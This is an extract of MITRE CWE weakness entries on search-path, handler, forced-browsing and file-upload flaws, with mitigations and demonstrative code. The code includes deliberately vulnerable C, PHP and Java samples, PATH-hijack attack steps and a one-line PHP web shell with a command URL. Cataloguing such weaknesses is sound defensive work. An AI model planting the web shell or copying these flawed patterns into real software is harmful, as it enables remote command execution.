Nature	Type	ID	Name	V	Page
MemberOf	C	953	SFP Secondary Cluster: Missing Endpoint Authentication	888	1937

Notes

Relationship

Overlaps privilege errors and UI errors.

Research Gap

Possibly under-reported, probably under-studied. It is suspected that a number of publicized vulnerabilities that involve local privilege escalation on Windows systems may be related to Shatter attacks, but they are not labeled as such. Alternate channel attacks likely exist in other operating systems and messaging models, e.g. in privileged X Windows applications, but examples are not readily available.

CWE-424: Improper Protection of Alternate Path

Weakness ID : 424 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ChildOf	C	638	Not Using Complete Mediation	1249
ParentOf	B	425	Direct Request ('Forced Browsing')	915

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Deploy different layers of protection to implement security in depth.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
127	Directory Indexing
554	Functionality Bypass

CWE-425: Direct Request ('Forced Browsing')

Weakness ID : 425 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.

Extended Description

Web applications susceptible to direct request attacks often make the false assumption that such resources can only be reached through a given navigation path and so only apply authorization at certain points in the path.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2013
MemberOf	C	417	Communication Channel Errors	1865

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Alternate Terms

forced browsing : The "forced browsing" term could be misinterpreted to include weaknesses such as CSRF or XSS, so its use is discouraged.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
Availability	Execute Unauthorized Code or Commands	
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Apply appropriate access control authorizations for each access to all restricted URLs, scripts or files.

Phase: Architecture and Design

Consider using MVC based frameworks such as Struts.

Demonstrative Examples

Example 1:

If forced browsing is possible, an attacker may be able to directly access a sensitive page by entering a URL similar to the following.

Example Language: JSP *(attack)*

```
http://somesite.com/someapplication/admin.jsp
```

Observed Examples

Notes

Relationship

Overlaps Modification of Assumed-Immutable Data (MAID), authorization errors, container errors; often primary to other weaknesses such as XSS and SQL injection.

Theoretical

"Forced browsing" is a step-based manipulation involving the omission of one or more steps, whose order is assumed to be immutable. The application does not verify that the first step was performed successfully before the second step. The consequence is typically "authentication bypass" or "path disclosure," although it can be primary to all kinds of weaknesses, especially in languages such as PHP, which allow external modification of assumed-immutable variables.

Taxonomy Mappings

CWE-426: Untrusted Search Path

Weakness ID : 426 **Status:** Stable
Structure : Simple
Abstraction : Base

Description

The application searches for critical resources using an externally-supplied search path that can point to resources that are not under the application's direct control.

Extended Description

This might allow attackers to execute their own programs, access unauthorized data files, or modify configuration in unexpected ways. If the application uses a search path to locate critical resources such as programs, then an attacker could modify that search path to point to a malicious program, which the targeted application would then execute. The problem extends to any type of critical resource that the application trusts.

Some of the most common variants of untrusted search path are:

- In various UNIX and Linux-based systems, the PATH environment variable may be consulted to locate executable programs, and LD_PRELOAD may be used to locate a separate library.
- In various Microsoft-based systems, the PATH environment variable is consulted to locate a DLL, if the DLL is not found in other paths that appear earlier in the search order.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Alternate Terms

Untrusted Path :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Access Control	Gain Privileges or Assume Identity Execute Unauthorized Code or Commands *There is the potential for arbitrary code execution with privileges of the vulnerable program.*	
Availability	DoS: Crash, Exit, or Restart *The program could be redirected to the wrong files, potentially triggering a crash or hang when the targeted file is too large or does not have the expected format.*	
Confidentiality	Read Files or Directories *The program could send the output of unauthorized files to the attacker.*	

Detection Methods

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and look for library functions and system calls that suggest when a search path is being used. One pattern is when the program performs multiple accesses of the same file but in different directories, with repeated failures until the proper filename is found. Library calls such as getenv() or their equivalent can be checked to see if any path-related variables are being accessed.

Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Manual Analysis

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.

Phase: Implementation

When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating

the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.

Phase: Implementation

Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.

Phase: Implementation

Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory.

Phase: Implementation

Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of it, while execl() and execv() require a full path.

Demonstrative Examples

Example 1:

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

Example Language: C *(bad)*

```
#define DIR "/restricted/directory"
char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */
RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
...
```

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

Example Language: *(attack)*

- *The user sets the PATH to reference a directory under the attacker's control, such as "/my/dir/".*
- *The attacker creates a malicious program called "ls", and puts that program in /my/dir*
- *The user executes the program.*
- *When system() is executed, the shell consults the PATH to find the ls program*
- *The program finds the attacker's malicious program, "/my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin/".*
- *The program executes the attacker's malicious program with the raised privileges.*

Example 2:

This code prints all of the running processes belonging to the current user.

Example Language: PHP *(bad)*

```
//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (CWE-78)
```

```
$userName = getCurrentUser();
$command = 'ps aux | grep ' . $userName;
system($command);
```

This program is also vulnerable to a PATH based attack, as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

Example 3:

The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.

Example Language: Java *(bad)*

```
...
System.Runtime.getRuntime().exec("make");
...
```

The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the $PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

CWE-427: Uncontrolled Search Path Element

Weakness ID : 427 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product uses a fixed or controlled search path to find resources, but one or more locations in that path can be under the control of unintended actors.

Extended Description

Although this weakness can occur with any type of resource, it is frequently introduced when a product uses a directory search path to find executables or code libraries, but the path contains a directory that can be modified by an attacker, such as "/tmp" or the current working directory.

In Windows-based systems, when the LoadLibrary or LoadLibraryEx function is called with a DLL name that does not contain a fully qualified path, the function follows a search order that includes two path elements that might be uncontrolled:

- the directory from which the program has been loaded
- the current working directory.

In some cases, the attack can be conducted remotely, such as when SMB or WebDAV network shares are used.

In some Unix-based systems, a PATH might be created that contains an empty element, e.g. by splicing an empty variable into the PATH. This empty element can be interpreted as equivalent to the current working directory, which might be an untrusted search element.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Alternate Terms

DLL preloading : This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

Binary planting : This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

Insecure library loading : This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.

Phase: Implementation

Strategy = Attack Surface Reduction

When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.

Phase: Implementation

Strategy = Attack Surface Reduction

Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.

Phase: Implementation

Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory. Since this is a denylist approach, it might not be a complete solution.

Phase: Implementation

Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of finding the program using the PATH environment variable, while execl() and execv() require a full path.

Demonstrative Examples

Example 1:

The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.

Example Language: Java *(bad)*

```
...
System.Runtime.getRuntime().exec("make");
...
```

The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the $PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

Notes

Relationship

Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere (i.e., modification of a search path), this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control (i.e., the search path cannot be modified by an attacker, but one element of the path can be under attacker control).

Maintenance

This weakness is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model might need enhancement or clarification.

CWE-428: Unquoted Search Path or Element

Weakness ID : 428 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path.

Extended Description

If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as "C:\Program.exe" to be run by a privileged program making use of WinExec.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305
PeerOf	B	426	Untrusted Search Path	917

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1219	File Handling Issues	2017

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : Windows NT *(Prevalence = Sometimes)*

Operating_System : macOS *(Prevalence = Rarely)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

Properly quote the full search path before executing a program on the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
UINT errCode = WinExec( "C:\\Program Files\\Foo\\Bar", SW_SHOW );
```

Observed Examples

Reference	Description
CVE-2005-1185	Small handful of others. Program doesn't quote the "C:\Program Files\" path when calling a program to be executed - or any other path with a directory or file whose name contains a space - so attacker can put a malicious program.exe into C:. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1185*

Reference	Description
CVE-2005-2938	CreateProcess() and CreateProcessAsUser() can be misused by applications to allow "program.exe" style attacks in C: *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2938*
CVE-2000-1128	Applies to "Common Files" folder, with a malicious common.exe, instead of "Program Files"/program.exe. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1128*

Functional Areas

- Program Invocation

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Notes

Applicable Platform

This weakness could apply to any OS that supports spaces in filenames, especially any OS that make it easy for a user to insert spaces into filenames or folders, such as Windows. While spaces are technically supported in Unix, the practice is generally avoided. .

Maintenance

This weakness primarily involves the lack of quoting, which is not explicitly stated as a part of CWE-116. CWE-116 also describes output in light of structured messages, but the generation of a filename or search path (as in this weakness) might not be considered a structured message. An additional complication is the relationship to control spheres. Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere, this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control. This is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model needs enhancement or clarification.

Research Gap

Under-studied, probably under-reported.

CWE-430: Deployment of Wrong Handler

Weakness ID : 430 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The wrong "handler" is assigned to process an object.

Extended Description

An example of deploying the wrong handler would be calling a servlet to reveal source code of a .JSP file, or automatically "determining" type of the object even if it is contradictory to an explicitly specified type.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-431: Missing Handler

Weakness ID : 431 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A handler is not available or implemented.

Extended Description

When an exception is thrown and not caught, the process has given up an opportunity to decide if a given failure or event is worth a change in execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342
CanPrecede	V	433	Unparsed Raw Web Content Delivery	933

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	429	Handler Errors	1866

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Implementation

Handle all possible situations (e.g. error condition).

Phase: Implementation

If an operation can throw an Exception, implement a handler for that specific exception.

Demonstrative Examples

Example 1:

If a Servlet does not catch all exceptions, it may reveal debugging information that will help an adversary form a plan of attack. In the following method a DNS lookup failure will cause the Servlet to throw an exception.

Example Language: Java *(bad)*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
    InetAddress addr = InetAddress.getByName(ip);
    ...
    out.println("hello " + addr.getHostName());
}
```

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations

Weakness ID : 432 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The application uses a signal handler that shares state with other signal handlers, but it does not properly mask or prevent those signal handlers from being invoked while the original signal handler is still running.

Extended Description

During the execution of a signal handler, it can be interrupted by another handler when a different signal is sent. If the two handlers share state - such as global variables - then an attacker can corrupt the state by sending another signal before the first handler has completed execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

PLOVER			Dangerous handler not cleared/ disabled during sensitive operations

CWE-433: Unparsed Raw Web Content Delivery

Weakness ID : 433 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software stores raw content or supporting code under the web document root with an extension that is not specifically handled by the server.

Extended Description

If code is stored in a file with an extension such as ".inc" or ".pl", and the web server does not have a handler for that extension, then the server will likely send the contents of the file

directly to the requester without the pre-processing that was expected. When that file contains sensitive information such as database credentials, this may allow the attacker to compromise the application or associated components.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	219	Storage of File with Sensitive Data Under Web Root	509
CanFollow	B	178	Improper Handling of Case Sensitivity	411
CanFollow	B	430	Deployment of Wrong Handler	929
CanFollow	B	431	Missing Handler	931

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	429	Handler Errors	1866

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Perform a type check before interpreting files.

Phase: Architecture and Design

Do not store sensitive information in files which may be misinterpreted.

Demonstrative Examples

Example 1:

The following code uses an include file to store database credentials:

database.inc

Example Language: PHP *(bad)*

```
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

Example Language: PHP *(bad)*

```
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

Observed Examples

Reference	Description
CVE-2002-1886	".inc" file stored under web document root and returned unparsed by the server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1886*

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	429	Handler Errors	1866

Weakness Ordinalities

Primary : This can be primary when there is no check at all.

Resultant : This is frequently resultant when use of double extensions (e.g. ".php.gif") bypasses a sanity check.

Resultant : This can be resultant from client-side enforcement (CWE-602); some products will include web script in web clients to check the filename, without verifying on the server side.

Applicable Platforms

Language : ASP.NET *(Prevalence = Sometimes)*

Language : PHP *(Prevalence = Often)*

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Sometimes)*

Alternate Terms

Unrestricted File Upload : The "unrestricted file upload" term is used in vulnerability databases and elsewhere, but it is insufficiently precise. The phrase could be interpreted as the lack of restrictions on the size or number of uploaded files, which is a resource consumption issue.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *Arbitrary code execution is possible if an uploaded file is interpreted and executed as code by the recipient. This is especially true for .asp and .php extensions uploaded to web servers because these file types are often treated as automatically executable, even when file system permissions do not specify execution. For example, in Unix environments, programs typically cannot run unless the execute bit is set, but PHP programs may be executed by the web server without directly invoking them on the operating system.*

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Architecture and Design

Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.

Phase: Architecture and Design

Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.

Phase: Implementation

Strategy = Input Validation

Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]

Phase: Implementation

When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.

Phase: Implementation

Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a

single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples

Example 1:

The following code intends to allow a user to upload a picture to the web server. The HTML code that drives the form on the user end has an input field of type "file".

Example Language: HTML *(good)*

```
<form action="upload_picture.php" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

Once submitted, the form above sends the file to upload_picture.php on the web server. PHP stores the file in a temporary location until it is retrieved (or discarded) by the server side code. In this example, the file is moved to a more permanent pictures/ directory.

Example Language: PHP *(bad)*

```
// Define the target location where the picture being
// uploaded is going to be saved.
$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
// Move the uploaded file to the new location.
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))
{
    echo "The picture has been successfully uploaded.";
}
else
{
    echo "There was an error uploading the picture, please try again.";
}
```

The problem with the above code is that there is no check regarding type of file being uploaded. Assuming that pictures/ is available in the web document root, an attacker could upload a file with the name:

Example Language: *(attack)*

```
malicious.php
```

Since this filename ends in ".php" it can be executed by the web server. In the contents of this uploaded file, the attacker could use:

Example Language: PHP *(attack)*

```
<?php
   system($_GET['cmd']);
?>
```

Once this file has been installed, the attacker can enter arbitrary commands to execute using a URL such as:

Example Language: *(attack)*

```
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
```

which runs the "ls -l" command - or any other type of command that the attacker wants to specify.

Example 2:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The HTML code is the same as in the previous example with the action attribute of the form sending the upload file request to the Java servlet instead of the PHP code.

Example Language: HTML *(good)*

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Example Language: Java *(bad)*

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
            ...
            // output the file to the local upload directory
            try {
```

```
            BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
            for (String line; (line=br.readLine())!=null; ) {
                if (line.indexOf(boundary) == -1) {
                    bw.write(line);
                    bw.newLine();
                    bw.flush();
                }
            } //end of for loop
            bw.close();
        } catch (IOException ex) {...}
        // output successful upload response HTML page
    }
    // output unsuccessful upload response HTML page
    else
    {...}
  }
    ...
}
```

As with the previous example this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-22, CWE-23). Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

